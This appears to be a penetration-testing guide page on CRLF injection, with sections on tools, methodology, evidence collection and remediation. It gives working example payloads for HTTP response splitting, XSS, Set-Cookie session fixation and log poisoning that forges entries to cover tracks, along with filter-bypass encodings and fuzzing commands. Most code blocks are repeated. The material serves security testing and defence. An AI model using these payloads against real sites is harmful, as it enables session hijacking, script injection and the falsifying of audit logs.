Exploitation A03

CRLF Injection

CRLF (Carriage Return Line Feed) injection occurs when an attacker can inject \r\n characters into HTTP headers, enabling HTTP response splitting, header injection, session fixation via Set-Cookie, XSS through injected headers, and log poisoning.

Warning

CRLF injection can chain with XSS, cache poisoning, and session fixation. Always test on authorized targets.

Tools

CRLFsuite

pip install crlfsuite GitHub →

crlfuzz

go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest GitHub →

Burp Suite

Manual testing

curl

Built-in

HTTP Response Splitting

If user input is reflected in HTTP response headers without sanitizing CRLF characters, the attacker can inject arbitrary headers or even a full second HTTP response:

bash
# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true

# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com

<script>alert(document.domain)</script>

# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1

# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_session
# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true

# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com

<script>alert(document.domain)</script>

# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1

# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_session

Encoding Variants

bash
# Different CRLF encodings to bypass filters:

%0d%0a          # Standard URL-encoded CRLF
%0D%0A          # Uppercase
%0d%0a%0d%0a    # Double CRLF (start response body)
%E5%98%8A%E5%98%8D  # Unicode CRLF (UTF-8 encoding)
%0a            # LF only (works on some servers)
%0d            # CR only
\r\n           # Literal (in JSON/API contexts)
\u000d\u000a   # Unicode escape
%00%0d%0a      # Null byte prefix

# Double-encoding:
%250d%250a

# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt

# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.json
# Different CRLF encodings to bypass filters:

%0d%0a          # Standard URL-encoded CRLF
%0D%0A          # Uppercase
%0d%0a%0d%0a    # Double CRLF (start response body)
%E5%98%8A%E5%98%8D  # Unicode CRLF (UTF-8 encoding)
%0a            # LF only (works on some servers)
%0d            # CR only
\r\n           # Literal (in JSON/API contexts)
\u000d\u000a   # Unicode escape
%00%0d%0a      # Null byte prefix

# Double-encoding:
%250d%250a

# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt

# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.json

Log Poisoning via CRLF

bash
# Inject fake log entries via CRLF in logged parameters:

# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200

# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject malicious payloads processed by log aggregators (Log4Shell style)
# Inject fake log entries via CRLF in logged parameters:

# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200

# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject malicious payloads processed by log aggregators (Log4Shell style)

Testing Methodology

  1. 1. Identify all parameters reflected in response headers (Location, Set-Cookie, custom headers)
  2. 2. Test basic %0d%0a injection — does a new header appear in the response?
  3. 3. Try encoding variants if basic CRLF is filtered
  4. 4. Test double CRLF (%0d%0a%0d%0a) for response body injection (XSS)
  5. 5. Test Set-Cookie injection for session fixation
  6. 6. Check if CRLF-injected responses are cached (cache poisoning)
  7. 7. Test log files for CRLF poisoning in User-Agent and Referer

Evidence Collection

Request/Response: Burp capture showing CRLF payload and injected header in response

Impact Demo: Screenshot of XSS alert or Set-Cookie injection

CVSS Range: Header injection: 4.3–6.1 | XSS via CRLF: 6.1–7.5 | Session fixation: 7.5–8.0

Remediation

  • Strip CRLF characters: Remove \r and \n from all user input before placing in HTTP headers.
  • Use framework header APIs: Modern frameworks (Django, Express, Spring) automatically encode header values.
  • Validate redirect URLs: Use allowlists for redirect destinations rather than user-supplied values.
  • URL-encode output: When reflecting user input in headers, URL-encode special characters.

False Positive Identification

  • URL-encoded vs. literal CRLF: If %0d%0a appears in the response body as literal text (not interpreted), there's no injection — confirm the CRLF creates actual new headers.
  • Framework-level protection: Modern frameworks (Django, Rails, Express) auto-strip CRLF from header values — verify in the raw HTTP response, not just the rendered page.
  • Proxy normalization: Some reverse proxies normalize headers, preventing CRLF from reaching the client — test direct-to-origin if possible.